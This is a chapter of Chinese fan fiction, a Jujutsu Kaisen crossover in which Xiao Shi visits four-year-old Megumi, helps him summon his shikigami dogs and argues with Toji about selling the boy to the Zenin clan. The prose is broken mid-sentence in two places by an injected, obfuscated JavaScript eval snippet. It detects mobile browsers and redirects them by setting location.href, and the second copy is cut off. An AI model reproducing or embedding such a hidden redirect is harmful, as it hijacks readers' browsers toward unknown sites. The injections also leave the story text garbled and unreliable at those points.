凌乱而且不大的地方,能看出有人居住。小莳想,只比她小时候的钟楼好一点。 她找到了全屋最舒服的地方,沙发,前面有个茶几,上面是电视遥控器,再前就是电视。伏黑惠和姐姐回家的时候,他们的父亲久违的在家,厨房里,切菜。不远的客厅里在放他以前从来不看的综艺,伏黑惠看见小莳叠着腿坐在沙发正中闭眼听电视机里吵吵闹闹的动静。 两个孩子里只有津美纪哒哒哒跑到厨房去喊了声爸爸,小莳多看了眼这个小女孩,依稀记得在十几年后,她醒来以后……伏黑甚尔一次都没提起过要去看她,只有在伏黑惠和自己说起津美纪的时候,他偶尔才浅浅关心--实际是为了参与群聊,他看起来和女儿不熟。 话又说回来,他和谁都不熟。 天,好可怕的男人,小莳在心里又开始编排起冷酷无情一枪把国中女孩从眉心打到后脑勺的大反派,就,挺六亲不认的。 她对他意见大得很,主要是因为薨星宫那件事,现在看在眼睛里便认为伏黑甚尔此人到处都是问题,不过也只好气闷,听她发脾气的家伙不在这。罪魁祸首已经被她当天实施反转术式时一笔勾销--至少在这个世界内,未来的她和伏黑甚尔即使正式见面,那也是她18惠惠16,他得有40了。 另一个世界的自己,就算像自己一样不长眼睛,也不至于喜欢上个中年男人,小莳这么想着,在伏黑惠上楼梯的时候关上电视也跟上去。 伏黑惠头稍往她的方向偏,声音有点小:“你为什么跟上来。” “叙旧。” 又是一个伏黑惠听不懂的词汇,他很快回过头,往上走。 小莳在他身边后知后觉:“你是不是没学过叙旧这个词。” “……” “就是以前认识的人互相聊天的意思,一般只是借口,不是说谁真的需要叙旧,比如我。”小时候的惠惠都不认识她,本来也没旧。 “那你跟着我干嘛?” 小莳跟在后头也不觉得落差,她男朋友以前就偏爱嘴上一套心里一套,反差不小。现在,他既然都能对第一次见面的非人类说出让跟上来的话,多半不讨厌她,因此她说话也就随意起来:“我看你挺喜欢我跟着,以前听说你在第一眼就很喜欢我。老实说,你应该也一样,现在是不是也在心里偷偷高兴?” 他讲没有,脚步愈发加快。 小莳心想这就是有,没有也没关系,她在见识了伏黑甚尔之后就在思想上明白了一个道理:不同世界的即使是同一个人,也不能一概而论,更不用说这个世界的惠惠才是个孩子,小朋友长成什么样都正常,比如她。 “没事,我也很喜欢小惠。”她这样说着,年幼的伏黑惠并未对此作出反应。 一段时间后,小莳发现伏黑惠在他的小房间里面几乎没事可做,那里只有一张小床,一个书桌,上面只有零零散散的绘本,她就缠着他,让他结手印。 “你身上可是有着很厉害的术式,趁着大家都有空,来试试吗?”小莳学着伏黑惠以前召唤玉犬时候的手势,在灯光下,确保手影投射在墙上是小狗的形状,“这是大狗,汪汪汪,可爱捏。” 可惜她见到伏黑惠以后玉犬已经变成玉犬【浑】了,比起可爱,更像是可怖。听野蔷薇说白色的玉犬特别乖还亲人,在少年院的时候不幸死亡了。 4岁的伏黑惠客观评价为:“幼稚。” 小莳坐在床沿十指交缠,一脸刻意呈现的佩服:“小孩哥,你好成~熟~哦~” 随即她问:“学不学,说不定成功了呢?成熟的咒术师要学会赢在起跑线,你这个阶段最关键了!”所有东亚人都知道的常识:每一个阶段都是最重要的。 年纪轻轻的伏黑惠难免会被哄骗,他看起来有点喜欢听好话的样子。他问她:“术式是咒术师有的东西吗?” 小莳一想,确实,应该没人和他说过这些,她稍微解释了下生得术式和咒术师的职责,并且告诉伏黑惠,他的可以从影子里变出很多小动物,着重介绍了自己最喜欢的脱兔。 “白毛红眼睛的小兔叽,试问谁能拒绝一下可以抱两只的小兔呢?” “……”他可以。 伏黑惠照着小莳的手势,用他能被她一下包裹住的手做出动作,对照墙上的手影调整位置,直到和他刚才看到的呈现差不多样态:“为什么你念【玉犬】的时候听上去很不高兴?” “因为以前我就是听你这样念的啊。”她回答地相当真诚,“你念‘玉犬’的时候,总是气鼓鼓的。” 小小年纪的伏黑惠觉得一定是这个大姐姐惹他生气了。 “说起来,你虽然这也不懂那也不懂,但意外的理解男女朋友的意思,难道说是谁告诉过你?” “津美纪的妈妈有时候会怀疑爸爸在外面有女朋友了。” “噗。”啊这。 他确实像是这种人呢,不吹不黑,伏黑女士的怀疑说不定很有道理。小莳忽然就想起了一阵子前在家里遇到九十九由基那次,伏黑甚尔当场恨不得把什么事情都解释清楚的急切。如果和米花分手那次“啊,报纸上乱写的,我们不是那种关系”对比,反差大到不像是一个人。 说是伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413176|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑甚尔,其实不知道有多少男人都是这样,想说清楚的话,无论如何都会表现出来,不想的话,含含糊糊也就那样了。这样说起来,才无常又不让人安心。 他问:“我以后也会有其他女朋友吗?” “乖,你先把玉犬叫出来,去和它玩吧。”小莳怜爱地摸了摸小盆友的扎手脑袋,陌生人的婚姻她不乱评价,至于他的问题一下让她心虚了……正过来说是没有的,反过来不好说。她的手被毛刺刺的头发戳中,真是从小到大都像个海胆,“你头发应该是像你母亲,不然很难解释为什么这么炸毛还扎人。” “我没见过她。在我很小的时候妈妈就去世了。”他说起来的时候因为不记得,也不悲伤。 “我也是,不过后来我也有新妈了,我被泽田家收养,所以现在姓泽田。”赤司夫人在征十郎初中时才去世,不过小莳很早就没见过她了,谈不上什么感情,更多时候她的关心仅仅落在征十郎身上--如果母亲还在,他日子说不定能快乐些,毕竟赤司征臣在夫人去世后一直没再娶,也没听说在外面有女朋友和小孩,可以看得出来感情基础存在。如果母亲还在,征十郎可能会得到更好的对待。 至少这点而言,赤司征臣作为一个伴侣,表现不错不算糟糕。作为父亲的话,她反正给差评了,征十郎多半四星半好评。 两个亲妈都不在的人就这个话题没再聊,伏黑惠聚精会神于手影,他按照小莳教的发音,念了一声:“【玉犬】。” 下一秒,小莳看见他一左一右出现了传说中的两只玉犬。 初次就成功?她比伏黑惠本人还惊讶:“你还真是个小天才?!”冒昧了,她之前没想到他于此道这么有天赋。 小莳跳下床抱住其中吐着舌头的白色玉犬,搂在怀里:“乖狗狗,亲亲!” 传说中的大狗在初次被召唤出来的时候还很小--来栖华说的,她是跟着一直比她还大的、尾巴蓬蓬的、像棉花一样的大狗身后从山里出来的。小狗现在只有博美那么大,它的毛也确实蓬松,这一点来看也像个博美,脑门上有红色的倒三角纹印。 “好狗狗,黑肉垫,very有狗德,再奖励一个亲亲!”白色的玉犬很快沦陷于小莳高超的摸摸技巧,呼呼的喘气,突出了舌头,一脸忠诚的样子。 它的主人在一边不加入这场愚蠢的握爪会。黑色的玉犬呜呜呜地往他身上拱,和真正的主人更亲密。 “有必要这么激动么。”小小年纪的伏黑惠不得已说了句话控场,“你可是大人。” “以后你会见到比我更离谱的大人,小惠,你的好日子还在后头呢!”小莳已经发展到托着狗狗的后退让它整个挂在身上,脸庞蹭过围脖上长长的绒毛,“我以前没见过白色的玉犬,它在之前就死了。” “……啊,是吗。”看着没那么喜欢式神的伏黑惠瞳孔放大一瞬,绿色的眼睛里都是始料未及和不敢置信,他很快低下头,听上去相当失落,也忘记装酷了:“怎么回事?” “执行任务的时候被强大的坏蛋一下残害了,哦,就是被杀死的意思。”说到这里,小莳才意识到,他也小小年纪就知道了死亡,可能也和母亲的死相关。 想到这里,她感慨:“如果你母亲还在的话,一家三口应该会很快乐。你父亲挺爱她的。”就是不太爱你。如果用饮料糖度做区分,对老婆应该是七分爱,伏黑惠是三分爱,津美纪是不另外加爱--有的时候不另外加糖的饮料也有甜度,但不另外加糖就是无糖,不能被果酱和小料的甜蜜迷惑。 不过听说津美纪就是会原谅一切的性格,说不定她也没那么依赖父亲这个角色,这样的人,应该会温柔对待一切。有强大内核的话,也无惧人事沧桑。 伏黑惠正是叛逆的年纪,其实倒也未必,不过他今天给出的反对意见远超16岁:“你怎么知道的?我不觉得他喜欢任何人。一个男人喜欢一个女人,就不会让她哭。” “……这话谁和你说的。”他才4岁,怎么都不会是自己想出来的。 “津美纪,她在邻居家的电视里看到的,她说电视里的东西,不会骗人。津美纪的妈妈有的时候会哭,所以我爸爸不喜欢她。”小孩的逻辑是这样的。 怪怪,这还是那个连书里的内容都有一大半不信的伏黑惠吗?“电视里的东西,不会骗人”,他是说的津美纪这么说,但他肯定也信了,所以才拿出来单独讲。 至于伏黑甚尔究竟喜欢谁,这个问题她现在是没立场讨论了,无论怎么说都会有种假惺惺的故作姿态,而现在的伏黑甚尔是她甚至也不想正眼瞧的状态,她就安慰:“没事,幸好津美纪妈妈已经变成天上的星星了。” “你这样说也太不对了。” 小莳跟着他反省了一下,好像是的:“确实,你爸爸才赚了一大笔血汗钱呢,津美纪妈妈也能分不少,这个时候不管凑合过伤心地花钱还是分财产日子都会好过,那我们祈祷她能回来回收一下房产吧。这些年买点不是赌马券的东西,或者干脆放银行存着吃利息,你们都能过上快乐的生活。” 血汗钱--人偶的血,她辛勤劳动的汗水,小莳觉得自己相当有资格置喙这笔钱,100%来源于压榨她。物理压榨。 虽然说伏黑甚尔亏空的更多就是了,毕竟他送出了5个亿,养大的咒灵也被杰接手。但是,投资有风险,上次他连命都没捡回来,天逆鉾被封印、嗜魂刀在海外、万里锁不知到去哪里了,游云和咒灵还是归了夏油杰,损失更惨重。 小莳很快为这情况找到了解释,这次的赏金--是现金!游云就和不动产一样,很难迅速变现随用随取。十鸟在林不如一鸟在手,按照这个比例,赏金的价值远远大于区区特级咒具。 伏黑惠觉得被铜臭味包裹的大人真可怕:“我也不是这个意思。” 她说哦,捏了捏伏黑惠本来就拢成扎手形状的发尖:“多摸一摸,感觉以后潜水的时候抓海胆的效率都会变高。你知道吗?因为海胆很扎手,所以专业的潜水员会用撬子在海底的岩石上把海胆扒拉下来到自己的框框里。”她以后说不定可以直接上手。 小小的伏黑惠愤怒地把头上的手掸开。又和两只可爱的修狗玩耍了一会,小莳留下绘本纸屑飘飞的房间,跳着窗户离开了房间:“晚餐时间快到了,今天可是有蛤蜊浓汤,我必不可能错过,明天我找个幸运的临近酒店,然后我们再见。” 伏黑惠扒着窗户往下看,小莳已经跳到院外和他招手告别。 他看了一会,拉下窗户和窗帘,她就看不见他了。 难道,是在舍不得? 可这房子有些小,不如一间酒店套房大,再说现在有决定权的是伏黑甚尔,她才不想和他一个屋檐住下。 年幼的伏黑惠因为房门突然被扭开而关上窗户,拉上窗帘,一脸镇定回头:“刚才把房间弄乱了,我会自己收拾的。” 门外站着的不是津美纪,她一般会敲门,伏黑甚尔的目光看向还在木质地板上哒哒摇头摆尾的白色小狗,还有另一只站在主人身前朝他龇牙,牙上还有插画页面卡在缝里的黑色小狗:“……” 这是,禅院家祖传的10个亿? 那个女孩,才来几个小时,他儿子就学会召唤式神了。她大概真是他女朋友。伏黑甚尔这样想,然后让儿子下楼吃饭:“今天有牛肉。” 不用多留神,便知道刚刚离开的就是她,她还挺爱走偏门,真的是跳窗离开,其实正规走门也没什么的。 109. 第 109 章 小莳的嘴大约有点灵光,第二天,在她翻窗户进伏黑宅的时候,伏黑惠告诉了她一个重磅消息:“津美纪妈妈回来了,她好久没见妈妈了,很开心。今晚我们要一起出去吃一顿好的,爸爸请客。” 哟,还活着呢,恭喜恭喜。 看来一家四口的日子还能再维持一阵子,伏黑惠虽然没说自己怎么看,但他脸上的一点红晕还有眼里的一点别扭的开心藏不住,他还是个孩子,也会有别的儿童一样的对家庭的期盼。 小莳也很为他开心:“好耶,你们去吃贵的,现在你有了家人,还有了狗勾。”想想以前的伏黑惠,好赌的爸,早亡的妈,患病的姐姐,脆弱的他。现在如果杰不被夺舍,咒灵操术不会被羂索习得,那么津美纪被诅咒的事情说不定也会不存在,再之后,伏黑甚尔说不定也能勉强做个父亲,最后,他还是能去高专上学。 哦对,还有禅院家的10个,父亲还是人贩子,很难讲。以前听悟说过,那是个坏地方。虽然也有作为敌对双方家主的不对付在里头,但小莳还是愿意相信朋友的判断。就算那里没有那么不堪,她还记得禅院直毘人有个和他术式一样的儿子,年龄和现在高专的二年级三位相仿,离家出走的老伙计突然把年幼的儿子卖了回来,术式还是一看就要做家主的……虽然不认识禅院直哉,但也不能期待他这个嫡子光明磊落啦。 反正真希和禅院真依都很讨厌他。 怎么办呢,天要下雨爹要卖娃,现在伏黑甚尔这人,很难说的。以前甚尔也没和她提过为什么要卖,而且她的注意力有一大半都在十位数那里,没关注过这些细枝末节。 小莳……有点想念自己的男朋友了,或许甚尔也有点,她也说不上自己和他是什么关系,如果仅仅是情人,她想她不需要情人;但如果说有一段稳定的关系,这其中就蕴含着某种似乎【要一直维系】的承诺,然而,她不将伏黑甚尔的一切当作承诺,就算他说了很多好听的话,就算他从几个月前的再会至离别的时候他都表现不错,她从根本上怀疑此人的动机,也不理解他突然表现出来的钟情。可也确实对他有好感。 是该正视朋友们的忠告,蓝波没说错,她不是那种会以情报恩的人,在伏黑甚尔救了她之前她就有些喜欢,但也认识到此人不好接近,恐会有人际交往上的难关。如果能有一段健康的感情,谁有愿意把精力消耗在难啃的硬骨头上呢?结果还是小跌了一个跟头,现在又不上不下。 而在这个时代什么都没做的她,过来还被打了一顿,人偶消亡带来的反噬不轻,头疼后遗症恐怕还要持续段时间。他明明可以不杀她的,却因为一简简单单的不喜欢麻烦,一枪崩了。 更重要的是现在也谁都不能怨,因为她后来又把人救回来--尚不明白怎么会有人死掉了还能去其他的世界,她也没那么想接触死亡,但无论如何,她出手了。 喜欢是真的,麻烦是真的,不信任是真的,后悔也是真的。 “你怎么了,自己就不开心起来了?” 眼前一会生气一会郁闷一会又像是要自己打自己的大人问了个无关问题:“你是不是很喜欢津美纪?” “你,你不要乱说。” “那就是感情很深了。”坏了,很快津美纪就得成独生女,且这身份不会维持太久--小莳没见过伏黑女士,但假定她是心智健全的女人,那多半不会能够接受自己的丈夫把和前妻的儿子卖掉这件事。血缘关系的小孩都能售卖,这样的家伙就算长得再好看是个再优秀的情人,也不会成为好丈夫的,不能依靠也不可信赖,然后夫妻就会面临结束婚姻,再之后……伏黑女士在另一个世界一去不返,大概在这里也不会独自带着女儿。 夏油杰带着两个孩子,那如果五条悟带两个,也合理,对吧?这么一算伏黑姐弟和枷场双子年龄也相仿。 伏黑惠卡壳了半晌,最后才想起来问她:“这和你有什么关系,我们……要等我长大才能认识。”他说完以后心里产生一种莫名的骄傲,觉得自己回击相当妙。 逃不过小莳的眼睛,这小孩……有点可爱。她蹲下揪了一把可爱的包子脸:“给男人当妈可是恋爱中的禁忌,但你太小了,没办法。”御三家的大部分子孙都不会在咒术高专额外上学,禅院家又在京都,就算去也会像禅院真依那样在京都。真希属于是离家出走的特殊情况,所以,不管是思维导向还是情感导向,他留在东京顺利和津美纪一起长大,然后15岁的时候,成为一名咒术师,或者就这样过日子,才是最理想的情况。 “不说这些了,快把大白变出来,给我抱抱,你太重了抱不动。”小莳摇晃小朋友的肩头,对方很轻易被她摇的晕头转向。 他抱怨:“你都没抱过我。” “得有3箱水果那么重,”小莳都没仔细看他,就轻易下了判断,然后把可爱的小狗揽在怀里,“今天出去吃饭的时候让你爸抱你,像你这样的小朋友,他一手一个,脖子后头还能再坐一位。” 年纪小小的伏黑惠,脸颊有一圈嘟嘟的肉,和他这个年纪的大部分孩子是一样的,因为家长也并不精心呵护,风一吹苹果肌到颧骨的位置左右还会其两团对称的红晕,让他看起来可怜又可爱。还有一点,在他长大后不那明显,但现在的他,眼睛无疑是像父亲。二者的轮廓都相仿的绿眼睛里,也有相似的漠不关心,好像外界的一切都于自己无异,不过他长大以后收敛了些,看上去仅仅只是情绪内敛而已。死气沉沉的眼睛+叛逆的发型+圆嘟嘟的脸蛋。 要不怎么说萌点全在于要素混搭和反差呢? 小莳左手又把伏黑惠的肩膀揽到胸前,她在地板上坐,背后靠着床榻:“我们惠惠真是太可爱了,真想和你还有玉犬一起拍照片,然后带回去给未来的你看。” “不可以拍吗?”他还有点紧张地捋了一下头发。 “噗哈哈哈,印刷成照片的话说不定可以,但是相机是没有办法拍下咒灵的哦,也就是我、玉犬,都进不去。不过……你想不想去我的领域里玩?”藏书室里有一些她记忆中的时刻,也不是不可以拿给小小惠看,“未来的你还没去过哦?” 小莳撒了一把面包干下水,本片水域里唯一的一条鱼冒泡了。他眼睛有点睁大,嘴角却抑制住下撇,慢吞吞开口:“领域是什么?” 术式和必中在这里无需提及,小莳简单概括为内心世界的具象化:“我的有房子,还有一个小院子,有太阳,现在晚上也有月亮了。里面还有个藏书室。” 伏黑惠又问她:“我们多久可以回来,津美纪今天没出去,中午我们会按时吃饭,全家一起吃。” 房间里连个钟也没有,在楼下电视上方的墙上挂着,小莳打算今天给自己搞个手机。 “我下去看看时间,不充裕的话我们可以下午再去。”她出门时刻,回头又和伏黑惠解释了充裕这个词的意思,就是充足,足够。她在楼梯上撞见了正上来的伏黑甚尔,他围着围裙,兜里还有一双厨房手套。 “我看个时间,借过。”说是这么说,小莳翻过楼梯扶手,从半路跳下去了,伏黑母女听不见动静,也看不见她。 不过她见到了桌上的菜,很家常,不太诱人,他们家该吃饭了。有的时候,在孤身一人在别人看起来阖家欢乐还准备开饭的时候,人会有孤独的感觉。小莳没有,普通人的每日日常暂时还不能让她幸福,也就不会羡慕。 前有高专二人去偏远村庄救女儿,其中一个疑似要走上犯罪道路,后有年□□友被高门望族十位数预定,刚好看见伏黑甚尔,小莳又忍不住在心里骂他。 正门开门的动静不小,她灵活爬上厨房水池,从那半开的窗户里跳下去。还好,有人打扫了卫生,没什么油烟,比较整洁。 她想,是时候给自己安排一个手机了。 运气极妙,在附近的街道小巷里,她遇见一个人,那人能看见她。掐指一算,此人还没进高专,可他看上去分明知道她是咒灵。 “哟,伊地知。”杰说不认识他,所以要到至少一年后伊地知才能入学……总之和七海灰原不是一届就对了。 “你……你认识我?” “认识,并且我需要你的手机。”小莳手脚麻利的帮他清除了一点障碍--几个叫他怪胎的大个子:“你这样对虚空说话是很容易被当成神经病,克制一点,校园霸凌可是随时随地都猖獗。” “快点,把手机交出来,反正如果我不来的话你身上的钱也会被抢光吧?” 早在国中时期就中分刘海的瘦弱学生像抱救命稻草一样抱着书包:“可……可我身上的钱加起来也不够买一个手机。” 不愧是他,思维正常得像闹钟,不管意识多么慌乱不清,都会准时上线,把自己引到正常的轨迹上去,小莳佩服道:“不愧是你。教科书级别的性价比大师,那如果加上医药费,你该如何应对?” “……这位,咒灵小姐,我们认识吗?” 她自我介绍是从人类想上网但是迫于各种原因无法答案成目标的怨念中诞生的咒灵,因为人太多了,学生、流量卡太贵的上班族、信号不好地区的住民、拉不了网线的公寓,所以出生就是特级,还有智能语音问答系统。 小莳乱编的。 “给我手机,不然我会暴走。” 她得到了没什么咒力之人的虔诚供奉:“恭喜你,至少三天内不会有人因为我而遭遇不幸了。” “……你。” “祝你在高专的四年一切顺利。”小莳检查了一下电量,足够,充电器接口也常见,她本着人道主义精神向被吓坏的伊地知送上祝福。 对方呆愣愣的。 “哦,你想问我怎么知道的?计算机的一切信息以二进制运算,到了互联网上信息就更多了,驳杂但稳定。因为诞生的特性如此,我能看见全貌……科幻电影中经常会有这样的事情吧,有一天,人类会制造出超级计算机,而它预测的未来,都会应验。你快要遇到自己想要一生追随的人了,加油加油。这是超级计算机咒灵对你的祝福哦,42?”她人不错,还送了一张饼。 小莳在他面前走过的时候他还沉浸在她说的话中。 这一带没找到电话亭,加油站便利店旁边的人又杂,幸好现在已经不需要了,谢谢伊地知洁高。 在和本来应该已经回程东京的高专二年生五条悟的通话中,小莳不幸得知因为临时任务和总结报告原因,两人被拖慢了进程。定的车票还有一小时出发。 现在是咒术师人手短缺的季节,星浆体之死又是一场至关重要的任务失败。 小莳告诉了他一个常识:天元有很多planb在掌控当中,比如九十九由基就是,除此之外她知道的还有另一个星浆体存在。千万别听夸大其词的老东西乱讲话,他们骗小孩呢。 手忙脚乱容易导致工作人员怨气值上升,五条悟的声音拔高了一截:“这种事情你怎么不早说?!” “早说理子还是会被暗杀,盘星教人脑子有问题,糟糕的是钱多,和他们讲不通。在任务里的时候那是无关信息,现在事情到了甩锅大会阶段再说出来。而且你是五条家六眼,杰是特级,干坏事的是禅院家出来的,放心,一定会轻轻揭过的。” 这世界再迂腐,也很难想象某个大家族的有利候选人会有一个被板上钉钉执行死刑的父亲。首先禅院家应该会小保一下,其次--悟不接,杰不接,九十九由基看上去对他有点需求多半也不会接,就算被总监部排了死刑,很难想象谁能真正执行掉伏黑甚尔。 死刑就很奇怪了,杀不死更是丢人,比朝令夕改还丢人。前者是没办法为自己决策兜底,这可是管理大忌,后者只是说体制上有些前后不一的毛病。 但五条悟很贴心的帮她揭过了这一茬,他说他已经上报了禅院甚尔的死亡,【茈】打出那么大的洞,最后说人化成灰了也不奇怪,让她不用对此额外费心。 他真是个好人。 “我可以用这个号码联系到你,对吧?这还是东京都内的手机号,你怎么弄到的?” 小莳坦白:“抢了你一个学弟的,以后你可得对他好点,他最尊敬的人就是你了。”伊地知有点好骗,他最后的表情看上去真的相信了,就长相而言,他是那种会喜欢人形电脑天使心的类型。 “……怎么什么人都能给你遇到,还有你看男人的眼光真的很差,差点忘了和你说。要不是杰劝我我才不会报告他已经死了,最好让禅院家的老头子们灰头土脸。” 小小年纪的五条悟已经和他未来一样口头上愤世嫉俗,占尽了精神胜利的制高点后,把能做的事都做光了,小莳鼓励他:“你真是一个冷面的好人啊。”冷若冰霜做一切。 * 她原路返回伏黑惠的家,从属于他的窗户那边爬上去,被锁上了。敲窗户,里面传来脚步声,窗帘被拉开,开窗的人是在房间里收拾东西的伏黑甚尔,他的儿子在床上拿着绘本往这里看,一对玉犬一点不规矩地趴在地板上。 “出门摸了个手机,你们这是吃完了?” 伏黑惠朝她点头:“嗯。” 面前的男人让开身,小莳翻了进来,很熟练地托起地上已经站起来的小白狗,抱在怀里:“我也很想你!”然后一顿亲。 “他是禅院家传术式,你早就知道?” “嗯,对。毕竟我是未来来的。”小莳没想到伏黑甚尔会和自己搭话,不过既然说到这里了,顺便聊一下十个亿也不成问题,她摸摸伏黑惠的头,“你方便出去然后带上门吗?下楼看会电视,出去溜一圈小狗,一会回来。” 伏黑惠往自己床上一坐都能被不属于这个家的客人往外赶,他用自己非常擅长的怀疑眼神和慢吞吞语调说话:“你和爸爸说什么,我也想听。” 他补充了一句:“这是我房间,你是我的女朋友。” “还没交往呢,”小莳哭笑不得,“你怎么小小年纪就这么不听话,有些养儿育儿与十个亿的小问题要和你家长探讨一下。” “十个亿,很多吗?” “不少,够买你这个30斤足斤足两的小朋友了。”小莳诚恳地和他点头。 伏黑惠又没听懂,不过他从来没听说过人也是可以买卖的:“为什么要卖我。” “你看,这就是问题所在了。”小莳托着伏黑惠小朋友的腋窝,起身,把他从床上抱起来,“你这孩子,从体重看起来日子也不太苦,至少35。我小时候在孤儿院里吃不到你这么重。”看不出来,惠惠在故居里也是过过几年好日子的。 他懵了,然后挣扎抗议:“你……你你你-” 不小的体格差异还有三倍的体重距离决定了他的反抗注定失败,小莳蹲下身把人放开,然后推出门外:“乖,过会我就去找你,快去看电视吧~”最后一句话轻悄悄的催促,好像两人达成了一致。实际根本没有。 伏黑惠憋着一口气直到门被从里面关上,还上了锁。小莳知道男朋友有时候确实气鼓鼓的,但是把嘴巴鼓起来的那种她还是第一次见。 害得她莫名其妙被可爱到了,真是的。 回头,地上的纸屑已经被勤劳的伏黑甚尔收拾干净,他在选择以父亲身份做事情的时候,颇见成效。 他蹲在地上收拾装满的垃圾袋,还知道要从外面捋一捋袋子,将气体排出来,然后再将手边最后一把废品丢进去。就这样,此垃圾袋完成了它一生的使命,利用率110%。 “总之,”都说到十个亿的话题,对方不可能不明白她想说什么,那她就不客气单刀直入了,“你能别把他卖给禅院家吗?我认识的姓禅院的,或者曾经姓禅院的3个人中,有3个人都不觉得那是好地方。当然,不算小惠,他一直很坚强的随继母姓了。”分别是甚尔、真希、禅院真依,禅院家,差评率100%。 “嗯……家主说可以给我10亿。” ……真好,比起怕麻烦已经是委婉nextlevel的拒绝。小莳可没有那么多钱给他。不过她清楚,给了也没用,一个天天把舍弃自尊拿出来自言自语两遍的家伙到时候后也只要来一句“谁让你信我的”,然后随随便便继续做他想做的。 这种事情完全可以想象。 再说起不是自己的事情上,小莳开口就没什么忌讳了:“据我所知你前妻应该有拜托过你好好照顾小惠的吧,外包可不算好好照顾。” 伏黑甚尔在听到前妻的时候,抬起了头,锐利的目光对上小莳的,防备心很重,像野外受伤的独行猛兽,警惕其他生物的伏击和人的追猎。小莳的蓝眼睛里什么都没有,就只是很平淡地看他。所以他最后说:“他有十影,会在那过得很好,比跟在我身边好。” 不难看出这是一句实话。 给小莳讲乐呵了,她哈了一声:“不是,你还真觉得自己的不幸来源于没有咒力和术式啊?” 伏黑甚尔瞥了他一眼没说话。 “毕竟是唯一爱过的伴侣的小孩,你看他的头发,不出意外应该是像妈妈吧,摸起来怪扎手的。留下来做个挂件和吉祥物都很好,小惠没有不良嗜好,独立生活能力处于全国领先水平,15岁以后也不需要家里的钱,更何况--”小莳想了想,有些捉摸不透他的想法,担心冒险的半猜半蒙说出来会引起此人的抵触情绪。伏黑甚尔有些像咬手鲨鱼的玩具,按到某一颗的时候…… “更何况,伏黑惠是这个世界上唯一会和你产生联系的人了。你不是会轻易和人产生连结的人,戒备心不弱,人也不好,然而他从出生起就是你的孩子,你们天生就有一层关系。你是他的父亲,他是你可以倾注信赖的人,毕竟,给他起名上天的恩惠不就是你的主意吗?” 没有错,伏黑甚尔曾经真实地为孩子的降生而喜悦过,他曾经对家庭有所期待,只不过抵抗人性是艰难曲折的道路。小莳在网上看到过一些情况,有些人憎恶父辈和母辈的某些行径,其中一部分宣称自己绝对不会成为这样的人,要赌上一生去抗争。可惜一生的事情就需要一生来践行,时间不会停留在决心与恨意最深的时候,它会抹去很多旧回忆。就像她现在都把自己根本不信的父子亲情拿出来说了,她可不喜欢自己的父亲,两个都不喜欢。 她努力让他想起来一点,毕竟根据她那个甚尔的情况来看,他可是一提到死去的前妻连手指都能割破。一定是有不少感情的,小莳为此还介怀过一小段时间,后来打算分手了,就不需要调理了。 经历了漫长的两三秒,伏黑甚尔的眼睛一直盯着她,可能他想知道她是怎么知道这些的,一句来自未来不足以覆盖全部的信息差。 “我会考虑的。” 小莳唇边勾起一抹笑:“那就再好不过了,不管怎么样,在这里还是要谢谢你。”她不再觉得伏黑甚尔是个赔在手里回不了本的损失了。他活在这个世界上对她来说就不是坏事,现在……大约还会顺便照看一下伏黑惠。未来的事情不那么好说得清,又涉及到不同世界的迁移变换,她不确定伏黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伏黑惠以后会很爱吃生姜,不知道是怎么长成的,汽水偏好姜汁,开春的汤锅还被他发现了中华风味的姜蓉酱,后来他就离不开生姜了。但甚尔做菜会特意避开葱姜调料,不过也没见在有机会来并盛的时候他拒绝用餐就是了。 甚尔应当是故意的,相似的父爱让小莳相似的动容,差点都要追忆起自己被迫和父亲一个屋檐下的生活了。幸好三个人在一起的时间总是很短暂。她会心虚。两个人一起夹菜的时候,她的紧张程度会超越出任务。 “这是什么?” “姜烧猪肉,包含了巨量生姜,半个洋葱,1/4卷心菜的邪恶料理。” “你会做吗?这是你做的吗?” “不。”小莳帮忙把小伏黑惠手里的这一页翻过去,“另一个世界的你做的,我还浅尝了一口。” “你喜欢吗?” 小莳用眼神拒绝他:“我不吃洋葱。”对姜也缺乏好感,只认可它作为基础调味料存在。 “哦,爸爸不在家的时候,一般是津美纪做菜。我还没做过。” 他突然就提起了现在日常的饮食事项,小莳顺着他说的想,也对,他还没到能进厨房拿刀的年纪,太小了……不过他和姐姐似乎是同年? 她一脸古怪地问他:“你姐姐多大了?” “和我一样,只是稍微大几个月。” “……你爸和她妈还挺配的。”小莳觉得自己做不出这么心大的事情,假设她要亲自带小孩:“那你会做其他家务吗?” “也都是津美纪做,不过我有的时候会帮忙。” 小莳在到了京都以后,最害怕听见人说男人会帮忙,责任凭空就转移到女人头上来了。包括不限于父亲爱说的女人要操持家务,虽然也会有管家和帮佣帮忙,但女人就是女人,太可怕了,她的身份是首屈一指的财团大小姐呢,还是大权在握的核心家庭的孩子的1/2。结果到了米花发现铃木园子虽然家族人丁兴旺,继承权也无关,但她就只是大小姐,最后家里人还支持了她和京极真的自由恋爱。不过对方的贤妻手艺也没落下就是了。她和小兰都是……很,嗯,日式的那种女高。 这一切都和小莳没缘分,在京都有事找管家,在米花有助理和家政,更不用说她现在又有了奈亚。不和孩子计较,因为她不认识伏黑津美纪,伏黑惠也确凿无疑当不了她父亲,不构成任何威胁,姑且求同存异的放过。 “那我和你在一起的时候,也是像现在这样吗?” 那可太不一样了,小莳很认真的告诉他:“我们做饭都很难吃,我是实践的时候无论如何都做不出那个味道,而你是脑袋里缺乏料理的细胞,我们一起吃饭的时候,大部分是在饭店,其次是我的助理做好了,最后是……”甚尔。 “总之自己动手的时候几乎没有。” “收拾家里呢?” “不知道,反正不是我。”而且他们也不住一起,伏黑惠有宿舍,小莳有房子。 年纪小小的伏黑惠被眼前白发美女的气度所震撼,他过了一会才说:“那家里会很乱的。” “乖,闭上眼睛就看不见了。”她这一生到现在,只对一个人奉献过家政方面的劳动力,那就是小时候的她自己,其他人的话,就算是伏黑惠也不可以。 